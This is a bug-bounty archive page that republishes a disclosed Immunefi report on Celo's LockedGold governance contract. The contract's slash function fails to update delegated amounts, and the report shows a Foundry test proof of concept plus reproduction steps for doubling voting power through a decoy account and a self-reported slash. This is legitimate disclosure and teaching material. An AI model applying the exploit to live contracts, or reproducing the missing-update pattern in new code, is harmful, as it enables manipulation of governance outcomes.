Skip to content
Smart contracts Audit finding Advanced

Fraudulent padding of governance voting power

The slash function in the governance contract updates nonvoting balances but fails to update delegated amounts, so an attacker can inflate governance voting power by slashing a decoy account and delegating the reward to a main account. This allows the attacker to double their voting power without locking additional tokens.

innertia Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#37251 [SC-Critical] Fraudulent padding of governance voting power

Submitted on Nov 30th 2024 at 02:15:23 UTC by @innertia for Audit Comp | Celo

Description

Brief/Intro

Slash reduces or increases a user's nonvoting balance. However, there is no processing related to delegete.
This can cause various vulnerabilities, but this report will introduce the fraudulent inflation of voting rights by attackers.

Vulnerability Details

The slash function increases or decreases the nonvotingBalance of the target account or reporter. However, if a delegation has occurred beforehand, the increase or decrease of the delegation amount must also be calculated.

      _decrementNonvotingAccountBalance(account, maxSlash.sub(difference));
      _incrementNonvotingAccountBalance(reporter, reward);

https://github.com/celo-org/celo-monorepo/blob/3c58a09455a12518916d2df38693325bafeb462b/packages/protocol/contracts/governance/LockedGold.sol#L505-L506

For example, if you look at the lock function, which is another process that increases nonvotingBalance, you can see that it also updates DelegatedAmount.

    _incrementNonvotingAccountBalance(msg.sender, msg.value);
    _updateDelegatedAmount(msg.sender);

https://github.com/celo-org/celo-monorepo/blob/3c58a09455a12518916d2df38693325bafeb462b/packages/protocol/contracts/governance/LockedGold.sol#L150-L151

slash does not do this, so there is no consistency between the increase/decrease in nonvotingBalance and DelegatedAmount. This can lead to various attack methods and calculation errors, but I would like to introduce one example, which is inflating the number of voting rights.

I will explain the step-by-step process while implementing it within the POC.

Impact Details

  • Inflating the number of votes
  • Withdrawing tokens while maintaining the number of votes etc.

References

https://github.com/celo-org/celo-monorepo/blob/3c58a09455a12518916d2df38693325bafeb462b/packages/protocol/contracts/governance/LockedGold.sol#L505-L506.\\ https://github.com/celo-org/celo-monorepo/blob/3c58a09455a12518916d2df38693325bafeb462b/packages/protocol/contracts/governance/LockedGold.sol#L150-L151

Proof of Concept

3. Proof of Concept

Please add the following test_GovernanceVotingPowerFraudulentlyInflated function to the LockedGoldTest_slash contract in LockedGold.t.sol. https://github.com/celo-org/celo-monorepo/blob/release/core-contracts/12/packages/protocol/test-sol/unit/governance/voting/LockedGold.t.sol.\\ https://github.com/celo-org/celo-monorepo/blob/3c58a09455a12518916d2df38693325bafeb462b/packages/protocol/test-sol/unit/governance/voting/LockedGold.t.sol#L1096C10-L1096C30

function test_GovernanceVotingPowerFraudulentlyInflated() public {
//attackerMain: account that gathers voting power
address attackerMain = actor("attackerMain");
address attackerMainSigner;
uint256 attackerMainSignerPK;

//attackerSub: A decoy account
address attackerSub = actor("attackerSub");
address attackerSubSigner;
uint256 attackerSubSignerPK;

uint256 percentToDelegate = 100;
uint256 delegatedAmount = (value * percentToDelegate) / 100;

vm.prank(attackerMain);
accounts.createAccount();
vm.prank(attackerSub);
accounts.createAccount();
(attackerMainSigner, attackerMainSignerPK) = actorWithPK("attackerMainSigner");
(attackerSubSigner, attackerSubSignerPK) = actorWithPK("attackerSubSigner");

vm.deal(attackerSub, 10 ether);

//Lock celo by attackersub
lockCelo(attackerSub, value);

//100% delegation from attackerSub to attackerMain
delegateCelo(attackerSub, attackerMain, 100);

//By delegation,all of the VotingPower has been given to attackerMain.
assertEq(lockedGold.getAccountTotalGovernanceVotingPower(attackerSub), 0);
assertEq(lockedGold.getAccountTotalGovernanceVotingPower(attackerMain), value);

//The attackerSub carries out an act that deserves a slash, and reports it to the Slasher.
//The important thing is that this reporter is also an account related to the attacker.
uint256 penalty = value;
uint256 reward = value;
address[] memory lessers = new address[](1);
lessers[0] = address(0);
address[] memory greaters = new address[](1);
greaters[0] = address(0);
uint256[] memory indices = new uint256[](1);
indices[0] = 0;

vm.prank(downtimeSlasher);
lockedGold.slash(attackerSub, penalty, reporter, reward, lessers, greaters, indices);

//reward is given to the reporter
assertEq(lockedGold.getAccountNonvotingLockedGold(reporter), reward);

//The reporter (the attacker's related account) who received the reward delegates this to attackerMain
delegateCelo(reporter, attackerMain, 100);

//The attackerMain has GovernanceVotingPower that has been fraudulently inflated.
//In this sequence, the locked celo is only the `value`. In other words, GovernanceVotingPower should only exist for the `value`.
//However, by taking advantage of the flawed implementation of `slash`, GovernanceVotingPower can be padded to the value + reward (in this example, it is doubled).
//This is a manipulation of voting rights, and is a significant damage to the protocol.
assertEq(lockedGold.getAccountTotalGovernanceVotingPower(attackerMain), value + reward);

}

The original report as published on Immunefi, by innertia. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inflate their governance voting power and withdraw tokens while maintaining voting power, potentially manipulating governance outcomes.

What the attacker needed

Attacker controls two accounts; attacker has tokens to lock; attacker can trigger a slashable offense

The fix

The slash function should update delegated amounts after changing nonvoting balances, similar to the lock function.

How it was found

  1. Create two accounts: attackerMain and attackerSub.
  2. Lock CELO tokens in attackerSub.
  3. Delegate 100% of attackerSub's voting power to attackerMain.
  4. Have attackerSub perform a slashable offense and report it via a reporter account controlled by the attacker.
  5. The reporter receives a reward, then delegates 100% to attackerMain.
  6. attackerMain now has voting power equal to the original locked amount plus the reward, without locking extra tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this system, users lock tokens to get voting power, and they can delegate that power to someone else. When a user is penalised (slashed), their locked tokens are reduced, but the system forgets to update the delegated voting power. An attacker can exploit this by having a second account get slashed and then delegating the reward to their main account, effectively doubling their votes without locking more tokens.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by innertia

View all

2 more disclosed reports, best first.

More from Celo

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.